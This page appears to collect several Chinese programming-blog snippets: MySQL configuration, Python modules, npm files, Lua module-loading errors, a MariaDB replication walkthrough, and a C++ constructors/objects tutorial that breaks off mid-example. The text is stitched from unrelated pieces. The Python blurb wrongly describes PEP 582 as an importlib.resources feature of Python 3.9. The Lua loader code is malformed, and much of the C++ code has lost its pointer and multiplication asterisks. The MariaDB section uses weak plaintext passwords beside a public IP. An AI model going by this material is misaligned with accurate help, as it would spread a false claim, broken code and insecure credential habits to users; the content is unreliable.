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MySQL
..., 在MySQL安装目录下,存在一个名为my.cnf(Unix/Linux系统中常见)或my.ini(Windows系统中常见)的配置文件,用于存储MySQL服务器的全局配置参数。用户可以在此文件中设置如数据库连接密码、端口号、数据存放路径等各种启动选项,当MySQL服务启动时,会读取这些配置信息以初始化和运行数据库服务。 命令行工具 , 命令行工具是一种通过文本界面与计算机系统交互的应用程序,用户通过输入特定指令来执行操作。在MySQL环境下,命令行工具即MySQL客户端,允许用户直接通过键盘输入SQL语句来查询、修改数据库中的数据,以及进行诸如查看和重置密码等管理操作,无需图形用户界面。例如,在文章中提到的“mysql -u root -p”命令就是利用MySQL命令行工具登录MySQL服务器的方式。
2024-02-18 15:42:33
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码农
Python
...thon编程实践中,模块的管理和存放是项目组织和代码复用的核心环节。最近,随着Python 3.9版本的发布,引入了一项名为"PyPA PEP 582 -- Standardizing the "importlib.resources" module"的新特性,进一步优化了对内置资源(包括模块)的访问和管理方式。这项改进使得开发者可以直接在特定目录下读取或写入包内的文件,无需通过添加到sys.path来实现,从而简化了局部模块的使用流程,并提升了安全性。 此外,在大型项目开发中,像虚拟环境(Virtual Environment)这样的工具也越来越受到重视,它允许开发者为每个独立项目创建一个隔离的Python环境,其中包含项目的特定模块及其依赖库,这样可以避免全局Python环境下的模块冲突问题,进一步规范模块存放与使用。 同时,随着开源社区的发展,诸如PyPI(Python Package Index)等第三方模块仓库已成为Python开发者共享和获取模块的重要平台。如何正确地发布和引用这些模块,涉及到模块存放路径、版本控制等一系列复杂问题,值得深入研究和探讨。 对于企业级应用来说,遵循最佳实践如采用模块化设计原则,结合像Conda这样的包管理器以及容器化技术(如Docker),能够更好地实现跨团队协作和持续集成/部署(CI/CD),有效提升Python模块的管理效率和整个软件开发生命周期的质量。 总之,Python模块的存放与管理是一个不断演进的话题,了解最新技术和工具动态,结合实际应用场景进行策略选择和实践操作,有助于提升工作效率,确保代码的可维护性和扩展性。
2023-01-16 18:22:18
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键盘勇士
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...目所依赖的所有第三方模块。当开发者通过npm(Node Package Manager)安装包时,npm会将包及其依赖项下载并存放在node_modules目录下,确保项目可以正确找到并使用这些依赖。由于每个依赖包内部可能还包含自己的node_modules子目录以管理其内部依赖,因此该文件夹通常包含大量文件和子目录,可能会影响项目的传输速度或版本控制。 package.json , package.json是Node.js项目的核心配置文件,它采用JSON格式记录了项目的元数据以及项目所依赖的各种模块信息。其中包含了诸如项目名称、版本、描述、作者、许可证等基本信息,更重要的是dependencies(项目依赖)和devDependencies(开发依赖)字段,分别列出了项目运行和开发阶段需要的第三方包及其版本范围。通过解析package.json文件,npm可以确定项目所需的所有模块,并进行相应的安装操作。 package-lock.json , package-lock.json是npm自5.x版本开始引入的一个锁定文件,用于精确地锁定项目依赖树中的每个依赖包的具体版本号。它的存在保证了无论何时何地,只要根据package.json文件重新安装项目依赖,都会得到完全一致的结果,从而避免因依赖版本更新导致的潜在问题。此外,package-lock.json文件还能提高npm install命令的执行效率,因为它已经记录了完整的依赖关系结构和远程包地址,使得npm可以直接依据此文件下载对应的模块,而无需进行额外的解析工作。
2023-05-26 22:34:04
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Lua
...d:深入理解Lua模块加载机制与问题排查 在使用Lua编程的过程中,我们经常需要通过require函数来加载和使用其他模块。不过,有时候我们也会碰上个挺常见的小状况,就是电脑屏幕上蹦出个提示:“找不到ModuleName这个模块啦!”这篇文章会像一个探险家一样,带你深入挖掘这个问题的根本所在,咱们不仅会通过一些实实在在的代码实例,抽丝剥茧般详细解读问题背后的秘密,还会手把手教你如何搞定这类问题! 1. Lua模块加载概述 Lua中,模块是组织代码的重要方式,通过require函数,我们可以方便地引入并使用其他模块中的功能。你知道吗,require这个函数啊,它就像个超级侦探,你只要告诉它想找哪个模块(也就是.lua文件),它就会立刻行动起来,在一堆文件中找到那个目标文件,然后把里面的代码统统执行一遍,这样一来,模块就被顺利加载到程序里头啦! lua -- 尝试加载一个名为'myModule'的模块 local myModule = require 'myModule' 2. module 'ModuleName' not found 错误详解 当Lua运行环境尝试按照一定的路径规则寻找指定模块时,如果找不到对应名称的.lua文件或者加载过程中出错,就会抛出“module 'ModuleName' not found”的错误信息。 2.1 模块搜索路径 默认情况下,Lua遵循以下路径规则来查找模块: - 如果模块名包含点(例如 my.module),则从当前目录开始,依次查找每个点分隔的部分作为子目录,最后加上.lua扩展名。 - 如果模块名不包含点,则先检查package.path变量定义的路径列表,这些路径通常指向全局Lua库的位置。 2.2 示例分析 假设我们有一个模块 mathUtils,其实际路径为 /path/to/mathUtils.lua,但在当前环境下并未正确设置模块加载路径,这时尝试加载它会触发上述错误: lua -- 当前环境下未正确配置package.path local mathUtils = require 'mathUtils' -- 这将抛出"module 'mathUtils' not found" 2.3 解决方案 为了解决这个问题,我们需要确保Lua能够找到模块的存放位置。有几种常见方法: 2.3.1 设置package.path 修改Lua的全局变量package.path,添加模块的实际路径: lua package.path = package.path .. ';/path/to/?.lua' -- 添加新的搜索路径 local mathUtils = require 'mathUtils' -- 此时应该能成功加载模块 2.3.2 使用自定义loader 还可以自定义模块加载器,实现更复杂的模块定位逻辑: lua local function customLoader(name) local path = string.format('/path/to/%s.lua', name) if io.open(path, 'r') then return dofile(path) end end package.loaders[package.loaders+1] = customLoader local mathUtils = require 'mathUtils' -- 通过自定义加载器加载模块 3. 总结与思考 “module 'ModuleName' not found”这一错误提示实际上揭示了Lua在处理模块加载时的关键步骤,即根据给定的模块名和预设的搜索路径查找对应的.lua文件。所以,在写Lua模块或者引用的时候,咱们可别光盯着模块本身的对错,还要把注意力放到模块加载的那些门道和相关设定上,这样才能够把这类问题早早地扼杀在摇篮里,避免它们出来捣乱。同时呢,咱们也得积极地寻找最适合咱们项目需求的模块管理方法,让代码那个“骨架”更加一目了然,各个模块之间的关系也能整得明明白白、清清楚楚的。
2023-05-18 14:55:34
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昨夜星辰昨夜风
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....2 建立要更改数据存放的目录,如:我这单独分了一个区/data存放MariaDB的数据 mkdir /data/mysql_data chown -R mysql:mysql /data/mysql_data 10.3 复制默认数据存放文件夹到/data/mysql_data cp -a /var/lib/mysql /data/mysql_data 10.4 修改/etc/my.cnf.d/server.cnf vim /etc/my.cnf.d/server.cnf 在[mysqld]标签下添加如下内容 datadir=/data/mysql_data/mysqlsocket=/var/lib/mysql/mysql.sockdefault-character-set=utf8character_set_server=utf8slow_query_log=onslow_query_log_file=/data/mysql_data/slow_query_log.loglong_query_time=2 10.5 配置MariaDB慢查询 touch /data/mysql_data/slow_query_log.logchown mysql:mysql /data/mysql_data/slow_query_log.log 10.6 重启数据库 systemctl start mariadb 10.7 注意: 1、配置文件my.cnf存在,但是修改的并不是my.cnf,而是/etc/my.cnf.d/server.cnf; 2、并没有更改mysql.sock的路径配置; 3、没有修改/etc/init.d/mysql中的内容; 4、没有修改mysql_safe中的内容; 5、增加了数据库的慢查询配置。 11. Mariadb主从复制 11.1 主从库初始化 这条命令可以初始化mysql,删除匿名用户,设置root密码等等....mysql_secure_installation1.输入当前密码,初次安装后是没有密码的,直接回车2.询问是否使用 'unix_socket' 进行身份验证: n3.为 root 设置密码:y4.输入 root 的新密码: root5.确认输入 root 的新密码: root6.是否移除匿名用户,这个随意,建议删除: y7.拒绝用户远程登录,这个建议开启:n8.删除 test 库,可以保留:n9.重新加载权限表:y 11.2 修改主库配置 [root@mster mysql] grep -Ev "^$|^" /etc/my.cnf.d/server.cnf[server][mysqld]character-set-server=utf8collation-server=utf8_general_ciserver_id = 13 一组主从组里的每个id必须是唯一值。推荐用ip位数log-bin= mysql-bin 二进制日志,后面指定存放位置。如果只是指定名字,默认存放在/var/lib/mysql下lower_case_table_names=1 不区分大小写binlog-format=ROW 二进制日志文件格式log-slave-updates=True slave更新是否记入日志sync-master-info=1 值为1确保信息不会丢失slave-parallel-threads=3 同时启动多少个复制线程,最多与要复制的数据库数量相等即可binlog-checksum=CRC32 效验码master-verify-checksum=1 启动主服务器效验slave-sql-verify-checksum=1 启动从服务器效验[galera][embedded][mariadb][mariadb-10.6][root@mster-k8s mysql] 11.2 修改从库配置 [mysqld]character-set-server=utf8collation-server=utf8_general_ciserver_id=14log-bin= mysql-bin log-bin是二进制文件relay_log = relay-bin 中继日志, 后面指定存放位置。如果只是指定名字,默认存放在/var/lib/mysql下lower_case_table_names=1 11.3 重启主库和从库服务 systemctl restart mariad 11.4 master节点配置 MariaDB [huawei]> grant replication slave, replication client on . to 'liu'@'%' identified by '123456';Query OK, 0 rows affected (0.001 sec)MariaDB [huawei]> show master status;+------------------+----------+--------------+------------------+| File | Position | Binlog_Do_DB | Binlog_Ignore_DB |+------------------+----------+--------------+------------------+| mysql-bin.000001 | 4990 | | |+------------------+----------+--------------+------------------+1 row in set (0.000 sec)MariaDB [huawei]> select binlog_gtid_pos('mysql-bin.000001', 4990 );+-------------------------------------------+| binlog_gtid_pos('mysql-bin.000001', 4990) |+-------------------------------------------+| 0-13-80 |+-------------------------------------------+1 row in set (0.000 sec)MariaDB [huawei]> flush privileges; 11.5 slave节点配置 MariaDB [(none)]> set global gtid_slave_pos='0-13-80';Query OK, 0 rows affected (0.004 sec)MariaDB [(none)]> change master to master_host='101.34.141.216',master_user='liu',master_password='123456',master_use_gtid=slave_pos;Query OK, 0 rows affected (0.008 sec)MariaDB [(none)]> start slave;Query OK, 0 rows affected (0.005 sec)MariaDB [(none)]> 11.6 验证salve状态 MariaDB [(none)]> show slave status\G 1. row Slave_IO_State: Waiting for master to send eventMaster_Host: 101.34.141.216Master_User: liuMaster_Port: 3306Connect_Retry: 60Master_Log_File: mysql-bin.000001Read_Master_Log_Pos: 13260Relay_Log_File: relay-bin.000002Relay_Log_Pos: 10246Relay_Master_Log_File: mysql-bin.000001Slave_IO_Running: YesSlave_SQL_Running: YesReplicate_Do_DB: Replicate_Ignore_DB: Replicate_Do_Table: Replicate_Ignore_Table: Replicate_Wild_Do_Table: Replicate_Wild_Ignore_Table: Last_Errno: 0Last_Error: Skip_Counter: 0Exec_Master_Log_Pos: 13260Relay_Log_Space: 10549Until_Condition: NoneUntil_Log_File: Until_Log_Pos: 0Master_SSL_Allowed: NoMaster_SSL_CA_File: 本篇文章为转载内容。原文链接:https://blog.csdn.net/l363130002/article/details/126121255。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-07-12 10:11:01
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...实并删除相应内容。 目录 前言 一、构造函数 1.对象的初始化 2.构造函数的作用 3.带形参数的构造函数 (1)含义 (2)【例3.2】 4.用参数初始化表对数据成员初始化 5.构造函数的重载 (1)含义 (2)【例3.3】 (3)说明 6.使用默认参数值的构造函数 (1)含义 (2)格式 (3)【例3.4】 (4)说明 二、析构函数 1.含义 2.执行析构函数的时机 3.特征 4.【例3.5】包含构造函数和析构函数的C++程序 三、调用构造函数和析构函数的顺序 1.同一类存储类别的对象 2.全局范围内定义的对象 3.局部自动对象 4.静态局部对象 5.例 四、对象数组 1.含义 2.【例3.6】 五、对象指针 1.指向对象的指针 2.指向对象成员的指针 (1)含义 (2)指向对象公有数据成员的指针 (3)指向对象成员函数的指针 (4)【例3.7】有关对象指针的使用方法 3.this指针 六、共用数据的保护 1.常对象 2.常对象成员 (1)常数据成员 (2)常成员函数 3.指向对象的常指针 4.指向常对象的指针变量 5.对象的常引用 (1)含义 (2)格式 (3)【例3.8】对象的引用 6.const型数据小结 编辑 七、对象的动态建立与释放——动态建立对象 八、对象的赋值和复制 1.对象的赋值 (1)含义 (2)【例3.9】对象的赋值 (3)说明 2.对象的复制 (1)含义 (2)【例】用复制对象的方法创建Box类的对象(用默认复制构造函数) (3)说明 九、静态成员 1.静态数据成员 (1)定义格式 (2)特性 (3)说明 (4)【例3.10】引用静态数据成员 2.静态成员函数 (1)含义 (2)【例3.11】关于引用非静态成员和静态成员的具体方法 (3)【例】具有静态数据成员的point类 (4)静态成员函数举例 (5)具有静态数据、函数成员的Point类 (6)静态成员函数、静态数组及其初始化 十、友元 1.友元函数 (1)含义 (2)格式 (3)【例3.12】将普通函数声明为友元函数 (4)友元成员函数 2.友元类 十一、类模板 1.含义 2.定义类模板的格式 3.在类模板外定义成员函数的语法 4.使用类模板时,定义对象的格式 5.【例3.14】声明类模板,实现两个整数、浮点数和字符的比较,求出大数和小数 前言 通过第二章的学习,已经对类和对象有了初步了解。本章将对类和对象进行进一步讨论。 一、构造函数 如果定义一个变量,而程序未对其进行初始化的话,这个变量的值是不确定的,因为C和C++不会自觉地去为它赋值。与此相似,如果定义一个对象,而程序未对其数据成员进行初始化的话,这个对象的值也是不确定的。 1.对象的初始化 在定义一个类时,不能对其数据成员赋初值,因为类是一种类型,系统不会为它分配内存空间。在建立一个对象时,需要对其数据成员赋初值。如果一个数据成员未被赋初值,则它的值是不确定的。因为系统为对象分配内存时,保持了内存单元的原状,它就成为数据成员的初值。这个值是随机的。 C++提供了构造函数机制,用来为对象的数据成员进行初始化。在前面的学习中一直未讲这个概念,其实如果你未设计构造函数,系统在创建对象时,会自动提供一个默认的构造函数,而它只为对象分配内存空间其他什么也不做。 如果类中的所有数据成员是公有的,可以在定义对象时对其数据成员初始化。例如: class Time{public:int hour;int minute;int sec;};Time t1{15,36,26}; 在一个打括号内顺序列出各个公有数据成员的值,在两个值之间用逗号分隔。注意这只能用于数据成员都是共有的情况。 在前面的例子里,是用成员函数对对象的数据成员赋初值,如果一个类定义了多个对象,对每个对象都要调用成员函数对数据成员赋初值,那么程序就会变得繁琐,所以用成员函数为数据成员赋初值不是一个好办法。 2.构造函数的作用 构造函数用于为对象分配空间和进行初始化,它属于某一个类,可以由系统自动生成。也可以由程序员编写,程序员根据初始化的要求设计构造函数及函数参数。 构造函数是一种特殊的成员函数,在程序中不需要写调用语句,在系统建立对象时由系统自觉调用执行。 构造函数的特点: 构造函数的名字与它的类名必须相同 它没有类型,也不返回值 它可以带参数,也可以不带参数 include <iostream>using namespace std;class Time {public:Time() {hour = 0;minute = 0;sec = 0;}void set_time();void show_time();private:int hour;int minute;int sec;};int main() {Time t1;t1.set_time();t1.show_time();Time t2;t2.show_time();return 0;}void Time::set_time() {cin >> hour;cin >> minute;cin >> sec;}void Time::show_time() {cout << hour << ":" << minute << ":" << sec << endl;} 在类Time中定义了构造函数Time,它与所在的类同名。在建立对象时自动执行构造函数,该函数的作用是为对象中的每个数据成员赋初值0。注意只有执行构造函数时才能为数据成员赋初值。 程序运行时首先建立对象t1,并对t1中的数据成员赋初值0,然后执行t1.set_time函数,从键盘输入新值给对象t1的数据成员,再输出t1的数据成员的值。接着建立对象t2,同时对t2中的数据成员赋初值0,最后输出t2的数据成员的初值。程序运行情况如下: 也可以在类内声明构造函数然后在类外定义构造函数。将程序修改为Time();然后在类外定义构造函数: Time::Time() {hour = 0;minute = 0;sec = 0;} 关于构造函数的使用,说明如下: 什么时候调用构造函数?当函数执行到对象定义语句时建立对象,此时就要调用构造函数,对象就有了自己的作用域,对象的生命周期开始了。 构造函数没有返回值,因此不需要在定义中声明类型。 构造函数不需要显式地调用,构造函数是在建立对象时由系统自动执行的,且只执行以此。构造函数一般定义为public。 在构造函数中除了可以对数据成员赋初值,还可以使用其他语句。 如果用户没有定义构造函数,C++系统会自动生成一个构造函数,而这个函数体是空的,不执行初始化操作。 3.带形参数的构造函数 (1)含义 可以采用带形参数的构造函数,在调用不同对象的构造函数时,从外边将不同的数据传递给构造函数,实现不同对象的初始化。 构造函数的首部的一般格式为:构造函数名(类型 形参1,类型 形参2,……)。在定义对象时指定实参,定义对象的格式为:类名 对象名(实参1,实参2,……)。 (2)【例3.2】 有两个长方柱,其长、宽、高分别为:(1)12,25,30(2)15,30,21编写程序,在类中用带参数的构造函数,计算它们的体积。 分析:可以在类中定义一个计算长方体体积的成员函数计算对象的体积。 include<iostream>using namespace std;class Box{public:Box(int,int,int); //声明int volume();private:int height;int width;int length;};Box::Box(int h,int w,int len) //长方体构造函数{height=h;width=w;length=len;}int Box::volume() //计算长方体体积{return(heightwidthlength);}int main(){Box box1(12,25,30); //定义对象box1cout<<"box1体积="<<box1.volume()<<endl;Box box2(15,30,21); //定义对象box2cout<<"box2体积="<<box2.volume()<<endl;return 0;} 【注】 带形参的构造函数在定义对象时必须指定实参 用这种方法可以实现不同对象的初始化 4.用参数初始化表对数据成员初始化 C++提供了参数初始化表的方法对数据成员初始化。这种方法不必再构造函数内对数据成员初始化,在函数的首部就能实现数据成员初始化。 函数名(类型1 形参1,类型2 形参2): 成员名1(形参1),成员名2(形参2){ } 功能:执行构造函数时,将形参1的值赋予成员1,将形参2的值赋予成员2,形参的值由定义对象时的实参值决定。此时定义对象的格式依然是带实参的形式:类名 对象名(实参1,实参2); 例:定义带形参初始化表的构造函数 Box::Box(int h,int w,int len):height(h),width(w),length(len){}//定义对象:Box box1(12,25,30);//……Box box2(15,30,21); 5.构造函数的重载 (1)含义 构造函数也可以重载。一个类可以有多个同名构造函数,函数参数的个数、参数的类型各不相同。 (2)【例3.3】 在【例3.2】的基础上定义两个构造函数,其中一个无参数,另一个有参数 include <iostream>using namespace std;class Box {public:Box();Box(int h, int w, int len): height(h), width(w), length(len) {}int volume();private:int height;int width;int length;};Box::Box() {height = 10;width = 10;length = 10;}int Box::volume() {return (height width length);}int main() {Box box1;cout << "box1 体积" << box1.volume() << endl;Box box2(15, 30, 25);cout << "box2 体积" << box2.volume() << endl;return 0;} (3)说明 不带形参的构造函数为默认构造函数,每个类只有一个默认构造函数,如果是系统自动给的默认构造函数,其函数体是空的 虽然每个类可以包含多个构造函数,但是创建对象时,系统仅执行其中一个 6.使用默认参数值的构造函数 (1)含义 C++允许在构造函数里为形参指定默认值,如果创建对象时,未给出相应的实参时,系统将用形参的默认值为形参赋值。 (2)格式 函数名(类型 形参1=常数,类型 形参2=常数,……); (3)【例3.4】 将【例3.3】中的构造函数改用带默认值的参数,长、宽、高的默认值都是10 include <iostream>using namespace std;class Box {public:Box(int w = 10, int h = 10, int len = 10);int volume();private:int height;int width;int length;};Box::Box(int w, int h, int len) {height = h;width = w;length = len;}int Box::volume() {return (height width length);}int main() {Box box1;cout << "box1 体积" << box1.volume() << endl;Box box2(15);cout << "box2 体积" << box2.volume() << endl;Box box3(15, 30);cout << "box3 体积" << box3.volume() << endl;Box box4(15, 30, 20);cout << "box4 体积" << box4.volume() << endl;return 0;} (4)说明 如果在类外定义构造函数,应该在声明构造函数时指定默认参数值,再定以函数时不再指定默认参数值 在声明构造函数时,形参名可以省略。例如:Box(int 10,int 10,int 10); 如果构造函数的所有形参都指定了默认值,在定义对象时,可以指定实参也可不指定实参。由于不指定实参也可以调用构造函数,因此全部形参都指定了默认值的构造函数也属于默认构造函数。为了避免歧义,不允许同时定义不带形参的构造函数和全部形参都指定默认值的构造函数。 不能同时使用重载构造函数和带默认值的构造函数 二、析构函数 1.含义 析构函数也是个特殊的成员函数,它的作用与构造函数相反,当对象的生命周期结束时,系统自动调用析构函数,收回对象占用的内存空间。 2.执行析构函数的时机 在一个函数内定义的对象当这个函数结束时,自动执行析构函数释放对象 static局部对象要到main函数结束或执行exit命令时才自动执行析构函数释放对象 全局对象(在函数外定义的对象)当main函数结束或执行exit命令时自动执行析构函数释放对象 如果用new建立动态对象,用delete时自动执行析构函数释放对象 3.特征 以~符号开始后跟类名 析构函数没有数据类型、返回值、形参。由于没有形参所以析构函数不能重载。一个类只有一个析构函数 如果程序员没有定义析构函数,C++编译系统会自动生成一个析构函数 【注】析构函数除了释放对象(资源)外,还可以执行程序员在最后一次适用对象后希望执行的任何操作。例如输出有关的信息。 4.【例3.5】包含构造函数和析构函数的C++程序 include <iostream>include <string>using namespace std;class Student {public:Student(int n, string nam, char s) {num = n;name = nam;sex = s;cout << "Constructor called." << endl;}~Student() {cout << "Destructor called." << endl;}void display() {cout << "num:" << num << endl;cout << "name:" << name << endl;cout << "sex:" << sex << endl;}private:int num;string name;char sex;};int main() {Student stud1(10010, "wang_li", 'f');stud1.display();Student stud2(10011, "zhang_han", 'm');stud2.display();return 0;}//main函数前声明的类其作用域是全局的 三、调用构造函数和析构函数的顺序 1.同一类存储类别的对象 一般情况下,调用析构函数的次序与调用构造函数的次序恰好相反:最先调用构造函数的对象,最后调用析构函数;最后调用构造函数的对象,最先调用析构函数。可简记为:先构造的后析构,后构造的先析构。它相当于一个栈,后进先出。 2.全局范围内定义的对象 在全局范围内定义的对象(在所有函数之外定义的对象),在文件中的所有函数(包括主函数)执行前调用构造函数。当主函数结束或执行exit函数时,调用析构函数。 3.局部自动对象 如果定义局部自动对象(在函数内定义对象),在创建对象时调用构造函数。如多次调用对象所在的函数,则每次创建对象时都调用构造函数。在函数调用结束时调用析构函数。 4.静态局部对象 如果在函数中定义静态局部对象,则在第一次调用该函数建立对象时调用构造函数,但在主函数结束或调用exit函数时才调用析构函数。 5.例 void fun(){student st1; //定义局部自动对象static student st2; //定义静态局部对象...} 对象st1是每次调用函数fun时调用构造函数。在函数fun结束时调用析构函数。 对象st2是第一次调用函数fun时调用构造函数,在函数fun结束时并不调用析构函数,到主函数结束时才调用析构函数 四、对象数组 1.含义 类是一种特殊的数据类型,它当然是C++的合法类型,自然可以定义对象数组。在一个对象数组中各个元素都是同类对象。例如一个班级有50个同学,每个学生有学号、年龄、成绩等属性,可以为这个班级建立一个对象数组,数组包括了50个元素:student std[50];。 可以这样建立构造函数:student::student(int 1001,int 18,int 60);。 在建立数组时,同样要调用构造函数。上面的数组有50个元素,要调用50次构造函数。如果构造函数有多个参数,C++要求:在等号后的花括号中为每个对象分别写出构造函数并指定实参。格式为: student st[n]={ student(实参1,实参2,实参3); …… student(实参1,实参2,实参3); }; 假定对象有三个数据成员:学号、年龄、成绩。下面定义有三个学生的对象数组: student st[3]={ student(1001,18,87); student(1002,19,76); student(1003,18,80); };//构造函数带实参 在建立对象数组时,分别调用构造函数,对每个对象初始化。每个元素的实参用括号括起来,实参的位置与构造函数形参的位置一一对应,不会混淆。 2.【例3.6】 include <iostream>using namespace std;class Box {public:Box(int h = 10, int w = 12, int len = 15): height(h), width(w), length(len) {} //int volume();private:int height;int width;int length;};int Box::volume() {return (height width length);}int main() {Box a[3] = {Box(10, 12, 15), Box(15, 18, 20), Box(16, 20, 26)};cout << "a[0]的体积是" << a[0].volume() << endl;cout << "a[1]的体积是" << a[1].volume() << endl;cout << "a[2]的体积是" << a[2].volume() << endl;return 0;}//每个数组元素是一个对象 五、对象指针 指针的含义是内存单元的地址,可以指向一般的变量,也可以指向对象。 1.指向对象的指针 对象要占据一片连续的内存空间,CPU实际都是按地址访问内存,所以对象在内存的其实地址是CPU确定对象在内存中位置的依据。这个起始地址称为对象指针。 C++的对象也可以参加取地址运算:&对象名。运算的结果是该对象的起始地址,也称对象的指针,要用与对象类型相同的指针变量保存运算的结果。 C++中定义对象的指针变量与定义其他的指针变量相似,格式如下:类名 变量名表。类名表示对象所属的类,变量名按标识符规则取名,两个变量名之间用逗号分隔。定义好指针变量后,必须先给赋予合法的地址后才能使用。 例如定义如下一个类: class Time {public:Time() {hour = 0;minute = 0;sec = 0;}void set_time();void show_time();private:int hour;int minute;int sec;};void Time::set_time() {cin >> hour;cin >> minute;cin >> sec;}void Time::show_time() {cout << hour << ":" << minute << ":" << sec << endl;} 在此基础上,有如下语句: Time pt; //定义pt是指向Time类对象的指针Time t1; //定义Time类对象t1pt=&t1; //将对象t1的地址赋予pt 程序在此基础上就可以用指针变量访问对象的成员。 (pt).hour;pt->hour;(pt).show_time();pt->show_time(); 2.指向对象成员的指针 (1)含义 对象由成员组成。对象占据的内存区是各个数据成员占据的内存区的总和。对象成员也有地址,即指针。这指针分指向数据成员的指针和指向成员函数的指针。 (2)指向对象公有数据成员的指针 定义数据成员的指针变量:数据类型 指针变量名(这里的数据类型是数据成员的数据类型) 计算公有数据成员的地址:&对象名.成员名 Time t1;int p1; //定义一个指向整型数据的指针变量p1=&t1.hour; //假定hour是公有成员cout<<p1<<endl; (3)指向对象成员函数的指针 定义指向成员函数的指针变量:数据类型(类名::变量名)(形参表); 数据类型是成员函数的类型;类名是对象所属的类;变量名按标识符取名;形参表:指定成员函数的形参表(形参个数、类型) 取成员函数的地址:&类名::成员函数名 给指针变量赋初值:指针变量名=&类名::成员函数名; 用指针变量调用成员函数:(对象名.指针变量名)([实参表]); 对象名:指定调用成员函数的对象;:明确其后的是一个指针变量;实参表:与成员函数的形参表对应,如无形参,可以省略实参表 (4)【例3.7】有关对象指针的使用方法 include <iostream>using namespace std;class Time {public:Time(int, int, int);int hour;int minute;int sec;void get_time();};Time::Time(int h, int m, int s) {hour = h;minute = m;sec = s;}void Time::get_time() {cout << hour << ":" << minute << ":" << sec << endl;}int main() {Time t1(10, 13, 56);int p1 = &t1.hour; //定义指向数据成员的指针p1cout << p1 << endl;t1.get_time(); //调用成员函数Time p2 = &t1; //定义指向对象t1的指针p2p2->get_time(); //用对象指针调用成员函数void(Time::p3)(); //定义指向成员函数的指针p3 = &Time::get_time; //给成员函数的指针赋初值(t1.p3)(); //用指向成员函数的指针调用成员函数return 0;} 【注】代码的34,35行可合并为:void(Time::p3)=&Time::get_time; 3.this指针 一个类的成员函数只有一个内存拷贝。类中不论哪个对象调用某个成员函数,调用的都是内存中同一个成员函数代码。例如Time类一个成员函数: void Time::get_time(){cout<<hour<<":"<<minute<<":"<<sec<<endl;}t1.get_time();t2.get_time(); 当不同对象的成员函数访问数据成员时,怎么保证访问的就是指定对象的数据成员?其实每个成员函数中都包含一个特殊的指针,他的名字是this指针。它是指向本类对象的指针。当对象调用成员函数时,它的值就是该对象的起始地址。所以为了区分不同对象访问成员函数,语法要求的调用成员函数的格式是:对象名.成员函数名(实参表)。从语法上明确是对象名所指的对象调用成员函数。This指针是隐式使用的,在调用成员函数时C++把对象的地址作为实参传递给this指针。例如成员函数定义如下: int Box::volume(){return(heightwidthlength);} C++编译成: int Box::volume(this){return(this->heightthis->widththis->length);} 对于计算长方体体积的成员函数volume,当对象调用它时,就把对象地址给this指针,编译程序将的地址作为实参调用成员函数:a.volume(&a);。实际上函数是计算(this->height)(this->width)(this->length),这时就等价计算(a.height)(a.width)(a.length)。 可以用(this)表示调用成员函数的对象。(this)就是this所指的对象。如前面的计算长方体体积的函数中return语句可以写成:return((this).height(this).width(this).length);注意,this两侧的括号不能省略。 C++通过编译程序,在对象调用成员函数时,把对象的地址赋予this指针,用this指针指向对象,实现了用同一个成员函数访问不同对象的数据成员。 六、共用数据的保护 如果既希望数据在一定范围内共享,又不愿它被随意修改,从技术上可以把数据指定为只读型的。C++提供const手段,将数据、对象、成员函数指定为常量,从而实现了只读要求,达到保护数据的目的。 1.常对象 定义格式: const 类名 对象名(实参表);或 类名 const 对象名(实参表); 把对象定义为常对象,对象中的数据成员就是常变量,在定义时必须带实参作为数据成员的初值,在程序中不允许修改常对象的数据成员值。 如果一个常对象的成员函数未被定义为常成员函数(除构造函数和析构函数外),则对象不能调用这样的函数。 const Time t1(10,16,36);t1.get_time();//错误,不能调用 为了访问常对象中的数据成员,要定义常成员函数。 void get_time() const 如果在常对象中要修改某个数据成员,C++提供了指定可变的数据成员方法。 格式:mutable 类型 数据成员 在定义数据成员时加mutable后,将数据成员声明为可变的数据成员,就可以用声明为const的成员函数修改它的值。 2.常对象成员 可以在声明普通对象时将数据成员或成员函数声明为常数据成员或常成员函数。 (1)常数据成员 格式: const 类型 数据成员名 将类中的数据成员定义为具有只读的性质。注意只能通过带参数初始表的构造函数对常数据成员进行初始化。例如: const int hour;Time::Time(int h){hour=h;...//错误}Time::Time(int h):hour(h){}//正确 在类中声明了某个常数据成员后,该类中每个对象的这个数据成员的值都是只读的,而每个对象的这个数据成员的值可以不同,由定义对象时给出。 (2)常成员函数 定义格式:类型 函数名 (形参表)const const是函数类型的一部分,在声明函数原型和定义函数时都要用const关键字。 【注1】const是函数类型的一个组成部分,因此在函数的实现部分也要使用关键字const。常成员函数不能修改对象的数据成员,也不能调用该类中没有由关键字const修饰的成员函数,从而保证了在常成员函数中不会修改数据成员的值。如果一个对象被说明为常对象,则通过该对象只能调用它的常成员函数。 【注2】一般成员函数可以访问或修改本类中非const数据成员。而常成员函数只能读本类中的数据成员,而不能写他们。 数据成员 非const成员函数 const成员函数 非const的数据成员 可以引用,也可以改变值 可以引用,但不可以改变值 const数据成员 可以引用,但不可以改变值 可以引用,但不可以改变值 const对象的数据成员 不允许引用和改变值 可以引用,但不可以改变值 常成员函数的使用: 如果类中有部分数据成员的值要求为只读,可以将它们声明为const,这样成员函数只能读这些数据成员的值,但不能修改它们的值 如果所有数据成员的值为只读,可将对象声明为const,在类中必须声明const成员函数,常对象只能通过常成员函数读数据成员 常对象不能调用非const成员函数 【注】如果常对象的成员函数未加const,编译系统将其当作非const成员函数;常成员函数不能调用非const成员函数 3.指向对象的常指针 如果在定义指向对象的指针时,使用了关键字const,他就是一个常指针,必须在定义时对其初始化,并且在程序运行中不能再修改指针的值。 格式:const 指针变量名=对象地址 Time t1(10,12,15),t2;Time const p1=&t1;//在此后,不能修改p1Time const p1=&t2;//错误语句 指向对象的常指针,在程序运行中始终指向的是同一个对象。即指针变量的值始终不变,但它所指对象的数据成员值可以修改。当需要将一个指针变量固定地与一个对象相联系时,就可将指针变量指定为const。往往用常指针作为函数的形参,目的是不允许在函数中修改指针变量的值,让它始终指向原来的对象。 4.指向常对象的指针变量 5.对象的常引用 (1)含义 前面学过引用是传递参数的有效方法。用引用形参时,形参变量与实参变量是同一个变量,在函数内修改引用形参也就是修改实参变量。如果用引用形参又不想让函数修改实参,可以使用常引用机制。 (2)格式 const 类名 &形参变量名 (3)【例3.8】对象的引用 include <iostream>using namespace 